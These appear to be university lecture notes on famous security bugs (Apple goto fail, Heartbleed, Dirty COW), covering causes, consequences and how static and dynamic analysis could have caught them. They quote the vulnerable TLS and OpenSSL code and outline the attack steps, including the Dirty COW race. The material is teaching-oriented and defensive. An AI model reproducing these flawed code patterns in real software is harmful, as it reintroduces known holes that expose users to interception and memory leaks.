CIS 6614 meeting -*- Outline -*- * Introduction ** goal: discussing some famous security bugs goal: present some famous security bugs, their causes, their consequences, and how they might have been detected/prevented Based on notes by Suman Jana (https://www.cs.columbia.edu/~suman/secure_sw_devel/Real_World_Bugs.pdf) ** bugs *** Apple goto fail bug ------------------------------------------ APPLE GOTO FAIL BUG CVE-2014-1266 (See https://cve.mitre.org/cgi-bin/ cvename.cgi?name=CVE-2014-1266) What: does not check the signature in TLS Server Key Exchange message Consequences: allows man-in-the-middle attackers to: - spoof SSL servers by: (1) using an arbitrary private key for the signing step or (2) omitting the signing step. Affected Apple iOS 6.x before 6.1.6 ... ------------------------------------------ Q: Why is TLS Server Key Exchange important? It "completely breaks SSL/TLS security: allowed a man-in-the-middle attacker to eavesdrop/modify SSL/TLS connections from MacOS/iOS devices." Q: What is a man-in-the-middle attack? How could it be prevented? The attack has an attacker intercepting and relaying messages from a client to a server and vice versa. The attacker can evesdrop and also substitute information instead of what the client and server want. One way to mitigate such attacks is to - use a public-key cryptosystem, like RSA. Only the server can sign a message with its private key, but anyone can verify the server's identity using its public key. Clients can send confidential information to the server by encrypting it with the server's public key. Clients identify themselves using means like a password and 2FA. Q: How does a public-key cryptosystem help? The public-key cryptosystem (and asymetric encryption) facilitates key exchange, because the client and server can communicate privately before exchanging keys. ------------------------------------------ APPLE'S PUBLISHED SOURCE CODE static OSStatus SSLVerifySignedServerKeyExchange( SSLContext *ctx, bool isRsa, SSLBuffer signedParams, uint8_t *signature, UInt16 signatureLen) { OSStatus err; ... if ((err = SSLHashSHA1.update( &hashCtx, &serverRandom)) != 0) goto fail; if ((err = SSLHashSHA1.update( &hashCtx, &signedParams)) != 0) goto fail; goto fail; if ((err = SSLHashSHA1.final( &hashCtx, &hashOut)) != 0) goto fail; // ...more validation ... fail: SSLFreeBuffer(&signedHashes); SSLFreeBuffer(&hashCtx); return err; } ------------------------------------------ The actual code is at https://opensource.apple.com/source/Security/Security-55471/libsecurity_ssl/lib/sslKeyExchange.c It's much larger than shown here. I reformatted a bit, but I didn't change the indentation. Q: What's the problem with that code? The second goto fail statement isn't controlled by the if-condition! from https://dwheeler.com/essays/apple-goto-fail.html: "The extraneous 'goto' caused the function to return 0 ('no error') when the rest of the checking was skipped; as a result, invalid certificates were quietly accepted as valid." Q: How could it have been detected statically? (See https://dwheeler.com/essays/apple-goto-fail.html) ------------------------------------------ STATIC DETECTION OF GOTO-FAIL BUG? ------------------------------------------ ... - A tool (e.g., the compiler) could have warned about unreachable code (after the second goto). Note: gcc used to detect unreachable code, but that check was removed! (That kind of compiler change shouldn't happen!) - A style checker could have warned about lack of braces or bad indentation. (maybe it was a merge bug?) - detecting duplicate lines of code - make failure the default (instead of passing security checks by default) - manual code review preferably with automatic indentation first! - use a safer language (that has exception handling instead of return codes) The complexity of using return codes is high Q: What could have detected it dynamically? (See https://dwheeler.com/essays/apple-goto-fail.html) ------------------------------------------ DYNAMIC DETECTION OF GOTO-FAIL BUG? ------------------------------------------ ... Negative testing: tests that should cause failures. Checking code coverage during testing (the unreachable code wasn't covered!) *** Heartbleed Bug This is CVE-2014-0160 ------------------------------------------ HEARTBLEED Vulnerability of OpenSSL Used often in implementations of SSL/TLS ------------------------------------------ Q: Why is SSL important? It is the way that people commuicate with websites, exchanging confidential information such as orders and credit card numbers. ------------------------------------------ IMPACT OF HEARTBLEED "Heartbleed affected a huge number of popular websites, including: - Google, - YouTube, - Yahoo!, - Pinterest, - Blogspot, - Instagram, - Tumblr, - Reddit, - Netflix, - Stack Overflow, - Slate, - GitHub, - Yelp, - Etsy, - the U.S. Postal Service (USPS), - Blogger, - Dropbox, - Wikipedia, - the Washington Post." Source: dwheeler.com/essays/heartbleed.html ------------------------------------------ Show heartbleed_explanation.png in this directory... Note: "many widely-used tools and techniques for finding such defects did not find Heartbleed." (https://dwheeler.com/essays/heartbleed.html) **** How Heartbeat works in SSL ------------------------------------------ KEEP-ALIVE FEATURE IN SSL Protocol client: sends arbitrary data to server server: sends back an exact copy Message format (in C): struct { HeartbeatMessageType type; uint16 payload_length; opaque payload [HeartbeatMessage.payload_length]; opaque padding[padding_length]; } HeartbeatMessage; Sent via SSL3_RECORD: struct ssl3_record_st { unsigned int length; unsigned char *data; } SSL3_RECORD; ------------------------------------------ In the SSL3_RECORD, the length is number of bytes in the data and the data points to the actual message. Q: Why have the response be a copy? Maybe to prevent replay attacks ------------------------------------------ FROM CODE OF OPENSSL tlsl_process_heartbeat(SSL *s) { unsigned char *p = /*...*/, *pl; unsigned short hbtype; unsigned int payload, padding = 16; /* ... */ /* Read type and payload length first */ hbtype = *p++; /* p points to message */ /* write the 16-bit length into payload and adds 2 bytes to p.*/ n2s(p, payload); pl = p; /* pl points to payload contents */ /* ... */ if (hbtype == TLS1_HB_REQUEST) { /* Contruct reply */ unsigned char *buffer, *bp; buffer = OPENSSL_malloc(1+2+payload+padding); bp = buffer; /* bp points to reply */ *bp++ = TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, pl, payload); } } ------------------------------------------ Q: What does memcpy(bp, pl, payload) do? copies into bp the memory of pl payload bytes Q: Who controls what the value of payload is? the sender of the message! (could be an attacker!) Q: What does the attacker do to get more information from the server? lies about the length (the value of payload in the code) Q: Does the attack overwrite any buffers? No, it causes the code to read past the end of the buffer (pl)! ------------------------------------------ WHAT IS THE PROBLEM? Buffer over-read (CVE-126) reading past end of buffer Improper input validation (CVE-20) ------------------------------------------ **** detection ------------------------------------------ WHY WASN'T HEARTBLEED DETECTED EARLIER? The code is complex: - indirection - special memory allocation Static tools are often incomplete - heuristics can miss bugs Dynamic tools used: - mostly positive tests - code coverage - fuzzers in traditional way ------------------------------------------ complex code can evade heuristics used by static detection tools (e.g., address sanitizer disabled by special memory allocation) mostly positive tests are tests with correct input "practically useless for secure software" (D. Wheeler) - because attackers send abnormal input, trying to break the system! code coverage doesn't spot missing code! traditionally used fuzzers: - look for crashes on pseudo-random inputs but an over-read doesn't cause a crash! - need to combine fuzzer with memory-checking tool that looks for over-reads **** prevention Wheeler says not to use just one technique! ------------------------------------------ WHAT COULD HAVE PREVENTED HEARTBLEED? (from dwheeler.com/essays/heartbleed.html) static: 1. making code simple enough for static analysis tools 1a. Taint analysis checking when inputs are used without being sanitized dynamic: 2. thorough negative testing (testing inputs that should fail) 3. fuzz testing with address checking Address sanitizer is an extra flag (-fsanitize=address) in LLVM,clang,gcc 4. Other address access detection tools - Binary simulator (Valgrind, Dr. Memory) - Guard pages (OS page faults) static: 5. Focused manual spot-checks - check that every field used is validated dynamic: 6. Fuzzing with output examination static: 7. Formal methods - specify code behavior and check it using a verifier hybrid: 8. Fuzz test several implementations at 100% branch coverage dynamic: 9. Runtime assertion checking static: 10. Use a safer programming language 11. Thorough human review ------------------------------------------ ...Address sanitizer does detect over-reads (and over-writes, double frees, and some other problems) Crashes on finding an address error, which works with fuzzers Binary simulators "indirectly execute a program, while performing additional functions such as tracking memory accesses." Guard pages don't require recompilation, whereas ASan does Q: What happens if we use address sanitization in a running system and there is an attack? The system crashes, so it doesn't leak information, but it may become less available (denial of service) - but it could be applied to a honeypot system (or honeynet)! Q: Would focused manual spot-checks for validation work on a large system? Probably people would get tired... Fuzzing with output examination means checking output to see if it is what is expected *** Dirty COW (copy on write) Back to Suman Jana's notes: **** attack and consequences ------------------------------------------ DIRTY COW Local privilege escalation - use a race condition in Copy-on-write mechanism. - can lead to remote execution Attack: 1. Open a root-writable, world-readable file read-only 2. Do the same in 2 (or more) threads 3a. Some thread(s) call madvise(..., MADV_DONTNEED) - so OS tries to unload the file 3b. Some thread(s) try to write file 4. Bug in OS causes it to (sometimes) ignore that the file is read-only ------------------------------------------ MADV_DONTNEED says that the thread "won't access the memory in the near future" Q: How can the hacker benefit if this doesn't always work? Run it billions of times! **** detection ------------------------------------------ HOW TO DETECT CONCURRENCY BUGS? Static analysis: - large number of false positives - Precise only for simple locking disciplines Dynamic analysis: - Instrument source code, check lockset and happens before - Try different inputs and scheduler combinations to search for race(s) ------------------------------------------ Q: What's the problem with these approaches? - false positives can lead to human fatigue - may need sophisticated locking discipine for real code/performance - dynamic analysis is incomplete, can be slow ** summary Q: What can we learn from all of this?